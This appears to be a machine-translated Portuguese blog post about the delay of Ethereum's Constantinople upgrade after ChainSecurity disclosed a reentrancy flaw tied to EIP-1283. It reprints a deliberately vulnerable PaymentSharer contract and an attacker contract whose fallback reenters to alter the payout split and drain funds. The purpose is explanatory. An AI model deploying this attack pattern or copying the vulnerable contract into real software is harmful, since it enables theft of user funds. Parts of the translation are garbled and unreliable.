* A atualização do Ethereum "Constantinopla" foi adiada devido a uma potencial vulnerabilidade encontrada no último momento

imagem
* Muitas pessoas chamam este evento de "hard fork", mas Vitalik é contra .

A tão esperada liberação de Constantinopla deveria ocorrer no dia 17 de janeiro, às 04:00 UTC , no entanto, mais uma vez, brutalmente interrompendo o exército de desenvolvedores de contadores de contagem regressiva, isso não se tornaria realidade.

30 horas antes do lançamento oficial, devido à vulnerabilidade encontrada, guiada pelo princípio “melhor entrelaçar do que não interromper”, a atualização foi adiada indefinidamente.

Um evento que despertou a atenção de toda a comunidade foi a oferta imprudente da EIP 1283 , que reduz o custo de execução da Instrução SSTORE (sic!). Em geral, uma das principais direções da atualização foi a implementação mais barata e rápida de instruções particularmente pesadas.

Os eventos de 15 de janeiro se desenvolveram da seguinte forma (horário no PST):

  • às 8 da manhã, o ChainSecurity publica uma descrição da vulnerabilidade ;
  • ali mesmo, Martin Holst Swende (o principal guarda de segurança da Ethereum Foundation) acorda todos os principais desenvolvedores, lembrando que faltam apenas 37 horas para a atualização, e aqui está ;
  • antes do meio dia, há um acalorado debate nas salas de bate-papo e na "voz";
  • No jantar, foi decidido cancelar a atualização.

A situação foi agravada pelo fato de que o tempo para implantar o navio foi muito mal escolhido: quase metade dos nós conseguiu ser atualizada e todos os outros foram chutados de forma metodológica e persistente nas últimas semanas. Como resultado, agora os nós atualizados precisarão ser atualizados novamente (para cima ou para baixo ... mda). E quem não teve tempo e dormiu com tudo - bem feito, eles não precisam fazer nada.

Então tudo era previsível - o mercado reagiu com um colapso de 5% da taxa de éter (haha). Muitos, é claro, ficaram indignados ao dizerem que o preço da instrução pode afetar o sigilo, por que você colocou lá e tudo mais ... Mas, na verdade, nada de incomum, tudo é como todo mundo.

É melhor ler sobre os detalhes técnicos da vulnerabilidade no artigo original da ChainSecurity , não é difícil descobrir isso.

Quem é preguiçoso para mergulhar no código - o ponto é que, antes da atualização, a instrução SSTORE era tão cara que não havia como mudar o "estado" de outros contratos, depois que o Constantinopla atualizava as instruções, ficava mais barato (e) e você podia alterar o "armazenamento" muitas vezes, alterando assim a lógica do contrato vulnerável.

Código vulnerável do contrato (com meus comentários):

pragma solidity ^0.5.0; contract PaymentSharer { mapping(uint => uint) splits; mapping(uint => uint) deposits; mapping(uint => address payable) first; mapping(uint => address payable) second; //      ,       (  ) function init(uint id, address payable _first, address payable _second) public { require(first[id] == address(0) && second[id] == address(0)); require(first[id] == address(0) && second[id] == address(0)); first[id] = _first; second[id] = _second; } //    ,       function deposit(uint id) public payable { deposits[id] += msg.value; } //       function updateSplit(uint id, uint split) public { require(split <= 100); splits[id] = split; } // ,  (     split) function splitFunds(uint id) public { // Here would be: // Signatures that both parties agree with this split // Split address payable a = first[id]; address payable b = second[id]; uint depo = deposits[id]; deposits[id] = 0; //     (    fallback-   ) a.transfer(depo * splits[id] / 100); //  -   (       ) b.transfer(depo * (100 - splits[id]) / 100); } } 

Código do contrato de ataque:

 pragma solidity ^0.5.0; import "./PaymentSharer.sol"; contract Attacker { address private victim; address payable owner; constructor() public { owner = msg.sender; } //    *,      PaymentSharer   function attack(address a) external { victim = a; PaymentSharer x = PaymentSharer(a); x.updateSplit(0, 100); x.splitFunds(0); } // fallback ,     transfer- function () payable external { address x = victim; // ,       (  ,   updateSplit(0, 0)), ..    Split          assembly{ mstore(0x80, 0xc3b18fb600000000000000000000000000000000000000000000000000000000) pop(call(10000, x, 0, 0x80, 0x44, 0, 0)) } } function drain() external { owner.transfer(address(this).balance); } } 

* está faltando no original, mas em algum lugar deve haver uma inicialização do formulário:
init (0, “Endereço do contrato do atacante”, “endereço da carteira do atacante”)

antes de chamar o método de ataque.

Obviamente, existem muitas perguntas no próprio contrato PaymentSharer, sobre as quais somos mostrados vulneráveis, ele é cego em si mesmo e é nele que o problema
e não no preço da SSTORE, e em geral - eles não encontraram um exemplo vivo na rede de lançamentos, mas decidiram jogar pelo seguro, mesmo assim, o preço do erro pode ser muito alto (todos se lembraram do DAO há muito morto aqui).

Em geral, a comunidade Ethereum tem muitos eventos interessantes: a luta dos cardeais do mercado cinza (GPU vs ASIC) se intensificou, o que por si só merece um artigo separado, o próximo lançamento do Bacon Chain está ganhando impulso - o ano promete ser rico em eventos e intrigas.

Source: https://habr.com/ru/post/pt436262/


All Articles